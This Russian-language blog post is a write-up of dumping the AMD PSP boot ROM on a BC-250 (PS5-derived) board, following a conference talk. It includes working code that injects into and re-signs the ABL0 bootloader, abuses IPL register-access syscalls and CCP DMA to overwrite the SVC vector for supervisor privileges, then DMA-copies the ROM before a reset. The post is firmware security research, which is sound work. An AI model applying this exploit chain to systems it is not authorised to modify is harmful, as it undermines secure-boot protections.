Ни в одном из диапазонов, конечно же, ROM я тоже не нашёл. Был уже вечер пятницы, с учётом, что в субботу на докладе тайна чтения ROM будет раскрыта, я забросил попытки, признав поражение.

А вот и раскрыли секрет, как сдампили ROM
А вот и раскрыли секрет, как сдампили ROM

На докладе действительно рассказали, как достучались до 0xFFFF0000. Да, адрес блокируется и недоступен из нашего исполняемого кода. Поэтому нужно ребутнуть процессор, чтобы ROM появился, а перед этим настроить DMA криптопроцессора, чтобы он скопировал ROM куда-нибудь в RAM сразу после ребута ARM ядра. Ах да, перехватить управление PSP желательно на самом раннем этапе, чтобы ни x86, ни проверка RAM нам не мешались.

Ну что, попробуем проделать всё это самостоятельно. Вместо Trusted OS теперь колупаем ABL0 – первичный загрузчик AGESA. Он подписан ключом с идентификатором 663C, так что меняем ключ и переподписываем всё это дело. Или нет? Даже родной образ не проходит проверку в PSPTool:

Именно все ABLx и не прошли проверку
Именно все ABLx и не прошли проверку

Но подождите, может это связано с тем, что они пожаты? И действительно, если заставить PSPTool проверять подпись, не разжимая данные, всё становится хорошо:

    def get_signed_bytes(self) -> bytes:
        file_bytes = self.header.get_bytes() + self.get_decrypted_body() // <===
        return file_bytes[:len(self.header) + self.size_signed]
Во, а теперь нормально
Во, а теперь нормально

Соответственно, обратно код нужно скомпилировать, упаковать, подписать, подправить заголовки... Вот здесь я немного подзастрял, учитывая, что мой дебаг в ограниченном режиме, где исполняется ABL, не работает. Но в конце концов оно заработало. Чтобы не заморачиваться с первичной инициализацией и не менять все заголовки (а размер загрузчика фигурирует во многих местах), я внедрил код прямо в оригинальный ABL0:

# load the compiled binary
main = open("main.bin", "rb").read()

# load the original decompressed binary
data = open("abl0_orig.bin", "rb").read()

# inject it somewhere aligned in the main function
data = data[:0x0B0] + main + data[0x0B0 + len(main):]

# align the code before compression
if len(data) & 0xF:
    data += b"\x00" * (0x10 - (len(data) & 0xF))
    
# needed for the header
hash = hashlib.sha256(data)

# compress the data
data = zlib.compress(data)
comp_size = len(data)

# align compressed data
if len(data) & 0xF:
    data += b"\x00" * (0x10 - (len(data) & 0xF))

# build the header using the original one
header = open("header.bin", "rb").read()
header = header[:0x54] + struct.pack("<I", comp_size) + header[0x58:]
header += hash.digest() + b"\x00" * 0x10

# sign to the final binary
with_header = header + data
private_key = load_private_key("privkey.pem")
with_header_signed = with_header + rsa_sign(with_header, private_key)

А дальше необходимо повышение прав – без этого ни процессор ребутнуть, ни DMA настроить. На конфе было рассказано, как этого достиг автор – перезаписью таблицы векторов через CCP DMA. Но у него в старой версии BIOS вообще не было Trusted OS и на этапе ABL0 был доступ к аппаратным регистрам.

К сожалению, для моей платы BC-250 такой версии BIOS нет, но в докладе мельком упоминалось, что в IPL есть системный вызов, который позволяет читать и писать аппаратные регистры, в том числе и CCP! То, что нужно:

Кое-как отыскал этот вызов, оказалось, 0xF2 = запись, 0xF3 = чтение. Только 0x3* адреса
Кое-как отыскал этот вызов, оказалось, 0xF2 = запись, 0xF3 = чтение. Только 0x3* адреса

Соответствующие функции выглядят как-то так:

unsigned int __attribute__((noinline)) svc_read(unsigned int address)
{
    unsigned int result;
    unsigned int * rptr = &result;
    asm("MOV R0, %0" : : "r"(address));
    asm("MOV R1, %0" : : "r"(rptr));
    asm("SVC             0xF3");
    return result;
}

void __attribute__((noinline)) svc_write(unsigned int address, unsigned int value)
{
    asm("MOV R0, %0" : : "r"(address));
    asm("MOV R1, %0" : : "r"(value));
    asm("SVC             0xF2");
}

А дальше осталось повысить привилегии, перезаписав адрес обработчика системного вызова в IPL как в примере, что выложил автор доклада:

// will be ran in supervisor mode
void priviledged()
{
    // test output to SPI debug
    dbg_16(0x7777);
}

void rewrite_svc_vector()
{
  unsigned int *descr = (unsigned int *)0x73000;
  descr[0x3C/4] = (unsigned int)priviledged; // new SVC handler pointer
  descr[0] = 0x500011;  // command
  descr[1] = 0x4;       // size
  descr[2] = 0x7303C;   // source low
  descr[3] = 0x020000;  // source high
  descr[4] = 0x28;      // dest low
  descr[5] = 0x020000;  // dest high
  descr[6] = 0;         // key low
  descr[7] = 0;         // key high 
  svc_write(0x3002008, 0x73000);      // head
  svc_write(0x3002004, 0);            // tail
  svc_write(0x3002000, 0x17);         // start
}

void main()
{
    rewrite_svc_vector();
    asm("SVC 0");         // this should jump to priviledged() 
}

Пока вот это вот не завелось, отлаживал через системный вызов №2 – по нему IPL читает ABL1 и прочие модули. Если на анализаторе чтения нет – значит, что-то пошло не так. Автор доклада использовал отладку POST-кодами, я решил обойтись без этого.

Иии работает. Можно нормально дебажить дальше!
Иии работает. Можно нормально дебажить дальше!

Ну и финал – для чтения ROM осталось перенести код настройки DMA из примера и запустить.

void priviledged()
{
    unsigned int *buf = (unsigned int*)0x73000; // use stack area as buffer
    for (int a = 0; a < 0x10000; a += 0x100) // write in parts of 0x100
    {
        ccp_passthrough(CCP_TYPED_ADDR(buf, CCP_MEMTYPE_PSP), CCP_TYPED_ADDR(a, CCP_MEMTYPE_SYSTEM), 0x100);
        for(int i = 0; i < 0x80; i++)
        {
            dbg_16(((unsigned short*)buf)[i]); // output data into SPI debug
        }
    }
    // probably long DMA delay by accessing flash area
    ccp_passthrough_chain_push(CCP_TYPED_ADDR(WRITE_SYSTEM_MEM_START+0x1000, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(SMN_FLASH_ADDR, CCP_MEMTYPE_PSP), 0x80);
    // probably short DMA delay by copying RAM to itself
    for (int i = 0; i < 2800; i++){
        ccp_passthrough_chain_push(CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), 0x18000);
    }
    // copying PSP ROM into RAM
    ccp_passthrough_chain_push(CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(0xFFFF0000, CCP_MEMTYPE_PSP), 0x10000);
    ccp_passthrough_chain_finalize();
    CCP_HEAD = 0x00+0x00;
    CCP_TAIL = 0x00+0x20*gChainCounter;
    CCP_CTRL_STATUS = 0x73;             // trigger DMA
    delay(2);
    *(volatile uint32_t*)0x3200090 = 1; // reset the CPU
    while(1);
}

Первый раз в дебаг выводится мусор, но если нажать кнопку ребута на плате, во второй раз в дебаге будет содержимое ROM:

Сравнил с бутромом, слитым из AMD 4700s – полное совпадение
Сравнил с бутромом, слитым из AMD 4700s – полное совпадение

Что с этим можно сделать дальше? Как минимум, изучить код для понимания процесса загрузки PS5. Например, автор доклада подметил, что если особым образом вызвать прерывание CPU, можно запустить offchip-bootloader, пропустив проверку подписи. Правда, на вопрос, как именно это сделать и возможно ли это вообще, ответа на данный момент нет.

А пока что благодаря обнаруженному эксплоиту в разы облегчается задача изучения AMD PSP и базирующихся на нём программных функций. Также благодаря тому, что PS5 ROM теперь может считать кто угодно, быть может, в ближайшее время мы увидим новости по новым обнаруженным эксплоитам в процессе её загрузки.